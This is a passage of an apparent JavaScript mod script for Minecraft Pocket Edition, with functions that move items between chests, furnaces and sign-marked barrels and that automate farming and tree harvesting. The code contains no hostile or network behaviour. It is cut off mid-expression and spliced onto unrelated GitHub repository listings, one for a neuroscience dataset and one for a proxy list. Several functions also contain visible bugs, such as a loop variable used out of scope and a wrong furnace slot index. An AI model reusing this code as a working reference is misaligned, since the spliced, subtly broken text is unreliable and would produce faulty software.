Level.setTile(waterPos[0],waterPos[1],waterPos[2],0); if(id==49){ Level.setTile(waterPos[0],waterPos[1],waterPos[2],0); Level.setTile(lavaPos[0],lavaPos[1],lavaPos[2],0); } Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); } else if(Level.getTile(x,y+1,z)==61 || Level.getTile(x,y+1,z)==62){ var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,id,dmg,amount); MoveItems([x,y,z],[x,y+1,z],amount); if(id==1) Level.setTile(waterPos[0],waterPos[1],waterPos[2],0); if(id==49){ Level.setTile(waterPos[0],waterPos[1],waterPos[2],0); Level.setTile(lavaPos[0],lavaPos[1],lavaPos[2],0); } Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); } else if(Level.getTile(x,y+1,z)==180){ var sides=[[x,y,z],[x,y+2,z],[x,y+1,z-1],[x,y+1,z+1],[x-1,y+1,z],[x+1,y+1,z]]; var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,id,dmg,amount); for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==68 && Level.getSignText(sides[i][0],sides[i][1],sides[i][2],0)=="Barrel"){ MoveItems([x,y,z],[sides[i][0],sides[i][1],sides[i][2]],amount); net.zhuoweizhang.mcpelauncher.ScriptManager.nativeExtinguishFire(sides[i][0],sides[i][1],sides[i][2],0); if(id==1) Level.setTile(waterPos[0],waterPos[1],waterPos[2],0); if(id==49){ Level.setTile(waterPos[0],waterPos[1],waterPos[2],0); Level.setTile(lavaPos[0],lavaPos[1],lavaPos[2],0); } break; } } Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); } else if(Level.getTile(x,y+1,z)==182){ var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setTile(x,y+1,z,181); Level.setChestSlot(x,y,z,0,id,dmg,amount); MoveItems([x,y,z],FindChest(x,y+1,z),amount); Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); Level.setTile(x,y+1,z,182); } return; } function Farmer(x,y,z,range){ //if(Level.getTile(x,y+1,z)!=8 && Level.getTile(x,y+1,z)!=9) // return; var isChest=false; var powered=false; var cx,cy,cz; var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==54){ cx=sides[i][0]; cy=sides[i][1]; cz=sides[i][2]; isChest=true; break; } } if(!isChest) return; for(var i=0;i<6;i++){ if(InArray([sides[i][0],sides[i][1],sides[i][2]],poweredBlocks)){ powered=true; break; } } if(!powered) return; var inRange=[]; for(var i=-range;i<range+1;i++){ for(var j=-range;j<range+1;j++) inRange.push([x+i,y+2,z+j]); } var planted={295:59,391:141,392:142,458:244}; var planted2={59:295,141:391,142:392,244:458}; var product={59:296,141:391,142:392,244:457}; for(var i=0;i<inRange.length;i++){ if(Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])==0 && Level.getTile(inRange[i][0],inRange[i][1]-1,inRange[i][2])==60){ for(var j=0;j<27;j++){ if(Level.getChestSlot(cx,cy,cz,j)==295 || Level.getChestSlot(cx,cy,cz,j)==391 || Level.getChestSlot(cx,cy,cz,j)==392 || Level.getChestSlot(cx,cy,cz,j)==458){ Level.setTile(inRange[i][0],inRange[i][1],inRange[i][2],planted[Level.getChestSlot(cx,cy,cz,j)],0); if(Level.getChestSlotCount(cx,cy,cz,j)>1) Level.setChestSlot(cx,cy,cz,j,Level.getChestSlot(cx,cy,cz,j),0,Level.getChestSlotCount(cx,cy,cz,j)-1); else Level.setChestSlot(cx,cy,cz,j,0); break; } } return; } if(Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])==0 && (Level.getTile(inRange[i][0],inRange[i][1]-1,inRange[i][2])==2 || Level.getTile(inRange[i][0],inRange[i][1]-1,inRange[i][2])==3)){ Level.setTile(inRange[i][0],inRange[i][1]-1,inRange[i][2],60,6); return; } if((Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])==59 || Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])==141 || Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])==142 || Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])==244) && Level.getData(inRange[i][0],inRange[i][1],inRange[i][2])==7){ var rnd=Math.floor(Math.random()*3)+1; var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,planted2[Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])],0,rnd); MoveItems([x,y,z],[cx,cy,cz],rnd); Level.setChestSlot(x,y,z,0,product[Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])],0,1); MoveItems([x,y,z],[cx,cy,cz],1); Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); Level.destroyBlock(inRange[i][0],inRange[i][1],inRange[i][2],false); return; } } } function TreeFarmer(x,y,z,range){ var isChest=false; var powered=false; var cx,cy,cz; var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==54){ cx=sides[i][0]; cy=sides[i][1]; cz=sides[i][2]; isChest=true; break; } } if(!isChest) return; for(var i=0;i<6;i++){ if(InArray([sides[i][0],sides[i][1],sides[i][2]],poweredBlocks)){ powered=true; break; } } if(!powered) return; var inRange=[]; for(var k=0;k<8;k++){ for(var j=-range;j<range+1;j++){ for(var i=-range;i<range+1;i++) inRange.push([x+i,y+8-k,z+j]); } } for(var i=0;i<inRange.length;i++){ var id=Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2]); var dmg=Level.getData(inRange[i][0],inRange[i][1],inRange[i][2]); if(id==0 && (Level.getTile(inRange[i][0],inRange[i][1]-1,inRange[i][2])==2 || Level.getTile(inRange[i][0],inRange[i][1]-1,inRange[i][2])==3)){ for(var j=0;j<27;j++){ if(Level.getChestSlot(cx,cy,cz,j)==6){ Level.setTile(inRange[i][0],inRange[i][1],inRange[i][2],Level.getChestSlot(cx,cy,cz,j),Level.getChestSlotData(cx,cy,cz,j)); if(Level.getChestSlotCount(cx,cy,cz,j)>1) Level.setChestSlot(cx,cy,cz,j,Level.getChestSlot(cx,cy,cz,j),Level.getChestSlotData(cx,cy,cz,j),Level.getChestSlotCount(cx,cy,cz,j)-1); else Level.setChestSlot(cx,cy,cz,j,0); break; } } return; } if(id==18){ var sides=[[inRange[i][0],inRange[i][1],inRange[i][2]],[inRange[i][0],inRange[i][1]-1,inRange[i][2]],[inRange[i][0],inRange[i][1]+1,inRange[i][2]],[inRange[i][0],inRange[i][1],inRange[i][2]-1],[inRange[i][0],inRange[i][1],inRange[i][2]+1],[inRange[i][0]-1,inRange[i][1],inRange[i][2]],[inRange[i][0]+1,inRange[i][1],inRange[i][2]]]; for(var j=0;j<6;j++){ if(Chances(5)){ var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,260,0,1); MoveItems([x,y,z],[cx,cy,cz],1); Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); } if(Chances(20)){ var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,6,Level.getData(sides[j][0],sides[j][1],sides[j][2])-7,1); MoveItems([x,y,z],[cx,cy,cz],1); Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); } if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==18) Level.destroyBlock(sides[j][0],sides[j][1],sides[j][2],false); } return; } else if(id==17){ var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,17,Level.getData(sides[j][0],sides[j][1],sides[j][2]),1); MoveItems([x,y,z],[cx,cy,cz],1); Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); Level.destroyBlock(inRange[i][0],inRange[i][1],inRange[i][2],false); return; } } } function FindChest(x,y,z){ var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; var side=[x,y,z,0]; var passed=[[x,y,z]]; var routes=[[x,y,z]]; for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==182) routes.push([sides[i][0],sides[i][1],sides[i][2]]); } if(routes.length>1){ var rnd=Math.floor(Math.floor(Math.random()*(routes.length-1))+1); x=routes[rnd][0]; y=routes[rnd][1]; z=routes[rnd][2]; } else return side; while(passed[passed.length-1][0]!=x || passed[passed.length-1][1]!=y || passed[passed.length-1][2]!=z){ sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; routes=[[x,y,z,0]]; for(var i=0;i<6;i++){ sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==54) routes.push([sides[i][0],sides[i][1],sides[i][2],i]); else if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==195){ if(!InArray([sides[i][0],sides[i][1],sides[i][2]],mBlocks)){ mBlocks.push([sides[i][0],sides[i][1],sides[i][2]]); if(!mBlocksSlots[sides[i][0]+","+sides[i][1]+","+sides[i][2]]) mBlocksSlots[sides[i][0]+","+sides[i][1]+","+sides[i][2]]=[0,0,0,0]; if(!mBlocksProgress[sides[i][0]+","+sides[i][1]+","+sides[i][2]]) mBlocksProgress[sides[i][0]+","+sides[i][1]+","+sides[i][2]]=0; } routes.push([sides[i][0],sides[i][1],sides[i][2],i]); } else if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==61 || Level.getTile(sides[i][0],sides[i][1],sides[i][2])==62) routes.push([sides[i][0],sides[i][1],sides[i][2],i]); else if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==180){ sides=[[sides[i][0],sides[i][1]-1,sides[i][2]],[sides[i][0],sides[i][1]+1,sides[i][2]],[sides[i][0],sides[i][1],sides[i][2]-1],[sides[i][0],sides[i][1],sides[i][2]+1],[sides[i][0]-1,sides[i][1],sides[i][2]],[sides[i][0]+1,sides[i][1],sides[i][2]]]; for(var j=0;j<6;j++){ if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==68 && Level.getSignText(sides[j][0],sides[j][1],sides[j][2],0)=="Barrel"){ routes.push([sides[j][0],sides[j][1],sides[j][2],j]); break; } } } } if(routes.length>1) return routes[Math.floor(Math.random()*(routes.length-1))+1]; passed.push([x,y,z]); sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; routes=[[x,y,z]]; for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==182) routes.push([sides[i][0],sides[i][1],sides[i][2]]); } if(routes.length>1){ var rnd=Math.floor(Math.floor(Math.random()*(routes.length-1))+1); x=routes[rnd][0]; y=routes[rnd][1]; z=routes[rnd][2]; } else return side; if(InArray([x,y,z],passed)) return side; } return side; } function MoveItems(from,to,amount){ if(Level.getTile(to[0],to[1],to[2])!=54 && Level.getTile(to[0],to[1],to[2])!=195 && Level.getTile(to[0],to[1],to[2])!=61 && Level.getTile(to[0],to[1],to[2])!=62 && Level.getTile(to[0],to[1],to[2])!=68) return; var ChestEmpty=true; if(Level.getTile(from[0],from[1],from[2])==54){ for(var i=0;i<27;i++){ if(Level.getChestSlot(from[0],from[1],from[2],i)!=0){ ChestEmpty=false; break; } } } if(Level.getTile(from[0],from[1],from[2])==61 || Level.getTile(from[0],from[1],from[2])==62){ if(Level.getFurnaceSlot(from[0],from[1],from[2],2)!=0) ChestEmpty=false; } if(Level.getTile(from[0],from[1],from[2])==68 && Level.getSignText(from[0],from[1],from[2],0)=="Barrel"){ if(Level.getSignText(from[0],from[1],from[2],3)!="Barrel") ChestEmpty=false; } if(ChestEmpty) return; var buffer=[0,0,1]; if(Level.getTile(from[0],from[1],from[2])==54){ for(var i=0;i<27;i++){ if(Level.getChestSlot(from[0],from[1],from[2],i)!=0){ buffer=[Level.getChestSlot(from[0],from[1],from[2],i),Level.getChestSlotData(from[0],from[1],from[2],i),1]; if(Level.getChestSlotCount(from[0],from[1],from[2],i)>amount){ Level.setChestSlot(from[0],from[1],from[2],i,buffer[0],buffer[1],Level.getChestSlotCount(from[0],from[1],from[2],i)-amount); buffer[2]=amount; } else{ buffer[2]=Level.getChestSlotCount(from[0],from[1],from[2],i); Level.setChestSlot(from[0],from[1],from[2],i,0); } break; } } } if(Level.getTile(from[0],from[1],from[2])==61 || Level.getTile(from[0],from[1],from[2])==62){ buffer=[Level.getFurnaceSlot(from[0],from[1],from[2],2),Level.getFurnaceSlotData(from[0],from[1],from[2],2),1]; if(Level.getFurnaceSlotCount(from[0],from[1],from[2],2)>amount){ Level.setFurnaceSlot(from[0],from[1],from[2],2,buffer[0],buffer[1],Level.getFurnaceSlotCount(from[0],from[1],from[2],3)-amount) buffer[2]=amount; } else{ buffer[2]=Level.getFurnaceSlotCount(from[0],from[1],from[2],2); Level.setFurnaceSlot(from[0],from[1],from[2],2,0) } } if(Level.getTile(from[0],from[1],from[2])==68){ buffer=[Level.getSignText(from[0],from[1],from[2],3).split(":")[0],Level.getSignText(from[0],from[1],from[2],3).split(":")[1],1]; var itemCount=64*parseInt(Level.getSignText(from[0],from[1],from[2],2).split("x")[0])+parseInt(Level.getSignText(from[0],from[1],from[2],2).split("+")[1]); if(itemCount>amount){ itemCount-=amount; Level.setSignText(from[0],from[1],from[2],2,parseInt(itemCount/64)+"x64+"+(itemCount-parseInt(itemCount/64)*64)); buffer[2]=amount; } else{ buffer[2]=amount; Level.setSignText(from[0],from[1],from[2],1," "); Level.setSignText(from[0],from[1],from[2],2," "); Level.setSignText(from[0],from[1],from[2],3,"Barrel"); } } var ChestHasSpace=false; var free=0; if(Level.getTile(to[0],to[1],to[2])==54){ for(var i=0;i<27;i++){ if(Level.getChestSlot(to[0],to[1],to[2],i)==0) free+=64; else if(Level.getChestSlot(to[0],to[1],to[2],i)==buffer[0] && Level.getChestSlotCount(to[0],to[1],to[2],i)<64 && Level.getChestSlotData(to[0],to[1],to[2],i)==buffer[1]) free+=64-Level.getChestSlotCount(to[0],to[1],to[2],i); } } if(Level.getTile(to[0],to[1],to[2])==195 && to[3]<2){ if(mBlocksSlots[to[0]+","+to[1]+","+to[2]][0]==0) free+=64; else if(mBlocksSlots[to[0]+","+to[1]+","+to[2]][0]==buffer[0] && mBlocksSlots[to[0]+","+to[1]+","+to[2]][1]<64) free+=64-mBlocksSlots[to[0]+","+to[1]+","+to[2]][1]; } if(Level.getTile(to[0],to[1],to[2])==61 || Level.getTile(to[0],to[1],to[2])==62){ if(to[3]>1){ if(Level.getFurnaceSlot(to[0],to[1],to[2],1)==0) free=64; else if(Level.getFurnaceSlot(to[0],to[1],to[2],1)==buffer[0] && Level.getFurnaceSlotCount(to[0],to[1],to[2],1)<64 && Level.getFurnaceSlotData(to[0],to[1],to[2],1)==buffer[1]) free=64-Level.getFurnaceSlotCount(to[0],to[1],to[2],1); } else{ if(Level.getFurnaceSlot(to[0],to[1],to[2],0)==0) free=64; else if(Level.getFurnaceSlot(to[0],to[1],to[2],0)==buffer[0] && Level.getFurnaceSlotCount(to[0],to[1],to[2],0)<64 && Level.getFurnaceSlotData(to[0],to[1],to[2],0)==buffer[1]) free=64-Level.getFurnaceSlotCount(to[0],to[1],to[2],0); } } if(Level.getTile(to[0],to[1],to[2])==68){ if(Level.getSignText(to[0],to[1],to[2],3)=="Barrel") free=4096; else if(parseInt(Level.getSignText(to[0],to[1],to[2],3).split(":")[0])==buffer[0] && 64*parseInt(Level.getSignText(to[0],to[1],to[2],2).split("x")[0])+parseInt(Level.getSignText(to[0],to[1],to[2],2).split("+")[1])<4096 && parseInt(Level.getSignText(to[0],to[1],to[2],3).split(":")[1])==buffer[1]) free=4096-64*parseInt(Level.getSignText(to[0],to[1],to[2],2).split("x")[0])+parseInt(Level.getSignText(to[0],to[1],to[2],2).split("+")[1]); } if(buffer[2]<=free) ChestHasSpace=true; else ChestHasSpace=false; if(ChestHasSpace){ if(Level.getTile(to[0],to[1],to[2])==54){ for(var i=0;i<27;i++){ var c=Level.getChestSlotCount(to[0],to[1],to[2],i); if(Level.getChestSlot(to[0],to[1],to[2],i)==0 || (Level.getChestSlot(to[0],to[1],to[2],i)==buffer[0] && c<64 && Level.getChestSlotData(to[0],to[1],to[2],i)==buffer[1])){ if(buffer[2]<64-c){ Level.setChestSlot(to[0],to[1],to[2],i,buffer[0],buffer[1],Level.getChestSlotCount(to[0],to[1],to[2],i)+buffer[2]); break; } else{ Level.setChestSlot(to[0],to[1],to[2],i,buffer[0],buffer[1],64); buffer[2]-=64-c; } } } } if(Level.getTile(to[0],to[1],to[2])==195 && to[3]<2){ var c=mBlocksSlots[to[0]+","+to[1]+","+to[2]][1]; if(mBlocksSlots[to[0]+","+to[1]+","+to[2]][0]==0 || (mBlocksSlots[to[0]+","+to[1]+","+to[2]][0]==buffer[0] && c<64)){ if(buffer[2]<64-c){ mBlocksSlots[to[0]+","+to[1]+","+to[2]][0]=buffer[0]; mBlocksSlots[to[0]+","+to[1]+","+to[2]][1]+=buffer[2]; if(machineWindow!=null) ShowMachineGUI(to[0]+","+to[1]+","+to[2]); } else{ mBlocksSlots[to[0]+","+to[1]+","+to[2]][0]=buffer[0]; mBlocksSlots[to[0]+","+to[1]+","+to[2]][1]=64; buffer[2]-=64-c; if(machineWindow!=null) ShowMachineGUI(to[0]+","+to[1]+","+to[2]); } } } if(Level.getTile(to[0],to[1],to[2])==61 || Level.getTile(to[0],to[1],to[2])==62){ if(to[3]>1){ var c=Level.getFurnaceSlotCount(to[0],to[1],to[2],1); if(Level.getFurnaceSlot(to[0],to[1],to[2],1)==0 || (Level.getFurnaceSlot(to[0],to[1],to[2],1)==buffer[0] && c<64 && Level.getFurnaceSlotData(to[0],to[1],to[2],1)==buffer[1])){ if(buffer[2]<64-c) Level.setFurnaceSlot(to[0],to[1],to[2],1,buffer[0],buffer[1],Level.getFurnaceSlotCount(to[0],to[1],to[2],1)+buffer[2]) else{ Level.setFurnaceSlot(to[0],to[1],to[2],1,buffer[0],buffer[1],64) buffer[2]-=64-c; } } } else{ var c=Level.getFurnaceSlotCount(to[0],to[1],to[2],0); if(Level.getFurnaceSlot(to[0],to[1],to[2],0)==0 || (Level.getFurnaceSlot(to[0],to[1],to[2],0)==buffer[0] && c<64 && Level.getFurnaceSlotData(to[0],to[1],to[2],0)==buffer[1])){ if(buffer[2]<64-c) Level.setFurnaceSlot(to[0],to[1],to[2],0,buffer[0],buffer[1],Level.getFurnaceSlotCount(to[0],to[1],to[2],0)+buffer[2]) else{ Level.setFurnaceSlot(to[0],to[1],to[2],0,buffer[0],buffer[1],64) buffer[2]-=64-c; } } } } if(Level.getTile(to[0],to[1],to[2])==68){ if(Level.getSignText(to[0],to[1],to[2],3)=="Barrel") c=0; else var c=64*parseInt(Level.getSignText(to[0],to[1],to[2],2).split("x")[0])+parseInt(Level.getSignText(to[0],to[1],to[2],2).split("+")[1]); if(Level.getSignText(to[0],to[1],to[2],3)=="Barrel" || (parseInt(Level.getSignText(to[0],to[1],to[2],3).split(":")[0])==buffer[0] && c<4096 && parseInt(Level.getSignText(to[0],to[1],to[2],3).split(":")[1])==buffer[1])){ if(buffer[2]<4096-c){ var cc=c+buffer[2]; Level.setSignText(to[0],to[1],to[2],1,GetItemBlockName(buffer[0]+":"+buffer[1])); Level.setSignText(to[0],to[1],to[2],3,buffer[0]+":"+buffer[1]); Level.setSignText(to[0],to[1],to[2],2,parseInt(cc/64)+"x64+"+(cc-parseInt(cc/64)*64)); } else{ Level.setSignText(to[0],to[1],to[2],1,GetItemBlockName(buffer[0]+":"+buffer[1])); Level.setSignText(to[0],to[1],to[2],3,buffer[0]+":"+buffer[1]); Level.setSignText(to[0],to[1],to[2],2,"64x64+0") buffer[2]-=4096-c; } } } } else/* if(InArray(from,wrenchEx))*/{ if(Level.getTile(from[0],from[1],from[2])==54){ for(var i=0;i<27;i++){ var c=Level.getChestSlotCount(from[0],from[1],from[2],i); if(Level.getChestSlot(from[0],from[1],from[2],i)==0 || (Level.getChestSlot(from[0],from[1],from[2],i)==buffer[0] && c<64 && Level.getChestSlotData(from[0],from[1],from[2],i)==buffer[1])){ if(buffer[2]<64-c){ Level.setChestSlot(from[0],from[1],from[2],i,buffer[0],buffer[1],Level.getChestSlotCount(from[0],from[1],from[2],i)+buffer[2]); break; } else{ Level.setChestSlot(from[0],from[1],from[2],i,buffer[0],buffer[1],64); buffer[2]-=64-c; } } } } if(Level.getTile(from[0],from[1],from[2])==61 || Level.getTile(from[0],from[1],from[2])==62){ var c=Level.getFurnaceSlotCount(from[0],from[1],from[2],2); if(Level.getFurnaceSlot(from[0],from[1],from[2],2)==0 || (Level.getFurnaceSlot(from[0],from[1],from[2],2)==buffer[0] && c<64 && Level.getFurnaceSlotData(to[0],to[1],to[2],2)==buffer[1])){ if(buffer[2]<64-c) Level.setFurnaceSlot(from[0],from[1],from[2],2,buffer[0],buffer[1],Level.getFurnaceSlotCount(from[0],from[1],from[2],3)+buffer[2]) else{ Level.setFurnaceSlot(from[0],from[1],from[2],2,buffer[0],buffer[1],64) buffer[2]-=64-c; } } } if(Level.getTile(from[0],from[1],from[2])==68){ var c=64*parseInt(Level.getSignText(from[0],from[1],from[2],2).split("x")[0])+parseInt(Level.getSignText(from[0],from[1],from[2],2).split("+")[1]); if(Level.getSignText(from[0],from[1],from[2],3)=="Barrel" || (parseInt(Level.getSignText(from[0],from[1],from[2],3).split(":")[0])==buffer[0] && c<4096 && parseInt(Level.getSignText(from[0],from[1],from[2],3).split(":")[1])==buffer[1])){ if(buffer[2]<4096-c){ var cc=c+buffer[2]; Level.setSignText(from[0],from[1
GitHub Repo
https://github.com/dandisets/001753
dandisets/001753
112 files, 5.9 GB, 1 release, 20260220_AIBS_Patchseq_BICAN_HMBA_macaque
GitHub Repo
https://github.com/imMADOX/FRECH-PROXY-LIST-V1